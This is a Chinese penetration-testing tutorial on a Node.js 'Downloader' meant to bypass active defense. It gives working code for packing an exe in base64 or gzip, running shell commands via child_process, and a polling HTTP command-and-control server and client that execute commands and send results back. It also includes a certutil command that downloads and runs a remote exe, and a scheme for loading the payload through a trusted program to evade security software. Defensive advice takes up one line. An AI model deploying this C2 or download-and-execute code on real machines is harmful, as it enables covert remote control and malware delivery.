内容简介:Node.js是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O的模型,使其轻量又高效。我最近在一篇文章中学到了利用Node.js绕过主动防御的技巧,于是对Node.js的语法进行了学习,开源一个Downloader的实现代码,分享脚本开发中需要注意的细节。Node.js绕过主动防御的学习地址:
0x00 前言
Node.js是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O的模型,使其轻量又高效。
我最近在一篇文章中学到了利用Node.js绕过主动防御的技巧,于是对Node.js的语法进行了学习,开源一个Downloader的实现代码,分享脚本开发中需要注意的细节。
Node.js绕过主动防御的学习地址:
https://bbs.pediy.com/thread-249573.htm
0x01 简介
本文将要介绍以下内容:
- 基本概念
- 利用Node.js实现的文件释放
- 利用Node.js实现的downloader
- 利用思路
- 防御建议
0x02 基本概念
Node.js同JavaScript的区别
JavaScript是一门语言
Node.js是一个基于Chrome V8引擎的JavaScript运行环境
虽然在Windows平台下,二者的脚本文件后缀名都是.js,但二者之间的区别很大,语法也不同
Node.js的使用
官方文档:
https://nodejs.org/api/
中文资料:
http://www.runoob.com/nodejs/nodejs-tutorial.html
下载地址:
https://nodejs.org/en/download/
在Windows平台下,Node.js代码保存在.js后缀名的文件中,通过node.exe加载执行
Node.js支持第三方包,可通过npm命令安装模块,实例如下:
安装web框架模块express:
npm install express
使用模块express:
var express = require('express');
注:
本文涉及的代码均不使用第三方包,只使用安装包中的node.exe
0x03 利用Node.js实现的文件释放
实现思路:
将exe文件做base64编码存储在文件中,释放时先读取文件进行解码,最后写入文件
1. 读取文件内容,做base64编码并输出到data.txt
function base64_encode(file) { var fs = require('fs'); var data = fs.readFileSync(file); return Buffer.from(data).toString('base64'); } var base64str = base64_encode('test.exe'); console.log(base64str);
注:
fs.readFileSync
表示同步读取,异步读取使用 fs.readFile
执行:
node.js base64encode.js >data.txt
2. 读取data.txt中保存的加密字符串,base64解码并生成新的文件test2.exe
function base64_decode(base64str, file) { var data = Buffer.from(base64str, 'base64'); fs.writeFileSync(file, data); } var fs = require('fs'); var base64str = fs.readFileSync('data.txt'); console.log(base64str.toString()); base64_decode(base64str.toString(), 'test2.exe');
注:
使用代码 var base64str = fs.readFileSync('data.txt');
在读取文件后,变量 base64str 需要强制转换成字符串类型,即 base64str.toString()
为了缩小文件长度,加入压缩算法gzip
1. 读取test.exe中的内容,做gzip压缩后保存到文件data.gz
function gunzip(sourcePath) { var zlib = require('zlib'); var fs = require('fs'); var unzip = zlib.createGunzip(); var rs = fs.createReadStream(sourcePath); var ws = fs.createWriteStream('test2.exe'); rs.pipe(unzip).pipe(ws); } gunzip('data.gz');
2. 读取data.gz中的内容,做gzip解压缩后保存到文件test2.exe
var zlib = require('zlib'); var fs = require('fs'); function gunzip(sourcePath) { var unzip = zlib.createGunzip(); var rs = fs.createReadStream(sourcePath); var ws = fs.createWriteStream('test2.exe'); rs.pipe(unzip).pipe(ws); } gunzip('data.gz');
0x04 利用Node.js实现的downloader
实现思路:
1. Server
- 监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据
- 对客户端的数据包进行筛选,对符合条件1的客户端返回控制命令,对符合条件2的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面
2. Client
- 连接指定服务器,发送固定格式的post数据,包括当前系统的主机名和操作系统版本
- 接收服务器返回的控制命令,执行后将结果再次发送到服务器
- 如果服务器未响应,等待一段时间后再次发送post请求
需要考虑如下问题:
1. 通过Node.js执行cmd命令
function runcmd(command) { var childprocess = require('child_process'); childprocess.exec(command, (err, stdout, stderr) => { if (err) { console.error(err); return; } console.log(stdout); }); } runcmd('whoami');
2. HTTP通信的实现
Server:
var http = require('http'); var querystring = require('querystring'); http.createServer(function (req, res) { var body = ''; console.log('req.url:',req.url); req.on('data', function (chunk) { body += chunk; console.log("chunk:",chunk); }); req.on('end', function () { body = querystring.parse(body); console.log('body:',body); res.write('Message from server'); res.end(); }); }).listen(3000,'0.0.0.0');
Client:
function sendHello(host1,port1){ var http = require('http'); var querystring = require('querystring'); var contents = querystring.stringify({ data1:'str1', data2:'str2' }); var options = { host: host1, port: port1, path: '/', method:'POST', headers:{ 'Content-Type':'application/x-www-form-urlencoded', 'Content-Length':contents.length } } console.log('post options:\n',options); console.log('content:',contents); var req = http.request(options, function(res){ console.log('headers:', res.headers); var data1=''; res.on('data', function(chunk){ data1 += chunk; }); res.on('end', function(){ console.log('result:',data1) }); }); req.write(contents); req.end; }; sendHello('127.0.0.1','3000');
Client向Server发送post数据,内容为 data1=str1&data2=str2
Server收到请求后,向Client回复的内容为 Message from server
3. sleep的实现
Node.js默认不支持sleep操作,这里可以自己实现:
function sleep(milliSeconds){ var startTime =new Date().getTime(); while(new Date().getTime()< startTime + milliSeconds); } var timeinterval = +'5000'; sleep(timeinterval);
字符串类型转换为数字,可在前面加 +
4. Client定时循环发送post请求
这里需要考虑异步和同步的问题
Node.js是异步编程,但Client定时循环发送post请求需要使用同步实现,测试代码如下:
Server:
代码同上
Client:
function sleep(milliSeconds){ var startTime =new Date().getTime(); while(new Date().getTime()< startTime + milliSeconds); } function sendHello(host1,port1){ var http = require('http'); var querystring = require('querystring'); var contents = querystring.stringify({ data1:'str1', data2:'str2' }); var options = { host: host1, port: port1, path: '/', method:'POST', headers:{ 'Content-Type':'application/x-www-form-urlencoded', 'Content-Length':contents.length } } console.log('post options:\n',options); console.log('content:',contents); var req = http.request(options, function(res){ console.log('headers:', res.headers); var data1=''; res.on('data', function(chunk){ data1 += chunk; }); res.on('end', function(){ console.log('result:',data1) }); }); req.write(contents); req.end; }; while (true) { console.log('1'); sleep(5000); sendHello('127.0.0.1','3000'); }
期待的结果:
Clinet每隔5秒发送一个post请求,接收结果
实际的结果:
每隔5秒执行一次循环,但Clinet没有发出请求
由于我们最初的设想是不使用npm,所以也无法使用async模块实现同步
最终,我通过方法嵌套解决了同步问题,示例如下:
function sleep(milliSeconds){ var startTime =new Date().getTime(); while(new Date().getTime()< startTime + milliSeconds); } function A(){ console.log('A'); B(); } function B(){ console.log('B'); sleep(5000); A(); } A();
5. Server显示Client的IP
代码如下:
function getClientIp(req) { return req.headers['x-forwarded-for'] || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress; };
默认为格式为ipv6,例如:
::ffff:127.0.0.1
可以通过修改listen的参数指定为ipv4
修改前:
.listen(3000);
修改后:
.listen(3000,'0.0.0.0');
6. Server判断post请求,不符合要求的回复404
对body的内容进行判断即可
完整实现代码已开源,地址:
https://github.com/3gstudent/NodeJS-Downloader
注:
开源的代码仅仅是一个示例,用作演示NodeJS的功能
用法如下:
需要先获得node.exe,下载地址: https://nodejs.org/en/download/
1. 编辑文件Server.js
可编译以下内容:
var command .listen(80,'0.0.0.0');
2. 启动Server
node.exe Server.js
监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据
对客户端的数据包进行筛选,对初次访问的客户端返回控制命令,对第二次访问的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面
3. 编辑文件Client.js
可编译以下内容:
var serverip var serverport var timeinterval
4. 启动Client
node.exe Client.js
Client将会连接Server,发送固定格式的post数据,包括当前系统的主机名和操作系统版本
接下来接收Server返回的控制命令,执行后将结果再次发送到Server
如果Server未响应,等待一段时间后再次发送post请求
0x05 利用思路
1、开源的代码支持多种payload
可将payload设置为下载文件并执行,例如
var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';
更多下载执行的命令可参考之前的文章 《渗透技巧——从github下载文件的多种方法》
注:
发送Client退出的命令可使用:
var command = 'taskkill /f /im node.exe';
2、可被第三方可信程序加载
参考:
https://bbs.pediy.com/thread-249573.htm
t.exe
-> node.exe
-> main.js
演示如图:
0x06 防御建议
对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截
0x07 小结
本文介绍了在开发Node.js代码时需要注意的细节,开源了一段Downloader的测试代码,用来演示Node.js的功能。
简要分析在渗透测试中的利用思路,给出防御建议。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 内网渗透:使用ew实现socks代理
- 域渗透——利用GPO中的计划任务实现远程执行
- 域渗透——利用GPO中的计划任务实现远程执行
- 渗透测试中的Node.js——Downloader的实现
- 域渗透——利用GPO中的计划任务实现远程执行(命令行实现原理与脚本细节)
- 成为物理黑客吧!利用树莓派实现P4wnP1项目进行渗透测试
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
游戏化思维
[美] 凯文·韦巴赫(Kevin Werbach)、[美] 丹·亨特(Dan Hunter) / 周逵、王晓丹 / 浙江人民出版社 / 2014-4 / 36.90
[内容简介] ●本书由开设了全世界第一个游戏化课程的沃顿商学院副教授凯文·韦巴赫和丹·亨特所著,第一次全面系统地介绍游戏化的理论,阐述了如何将游戏的理念应用到商业实践中。 ●作者指出,在商业竞争日益激烈的今天,传统的激励方式渐渐失效,未来的管理将更多地建立在员工和消费者的内在动机和自我激励上。这些制作精良、设计巧妙的游戏建立在多年来对人类动机和人类心理的研究基础之上,可以最大限度地激发......一起来看看 《游戏化思维》 这本书的介绍吧!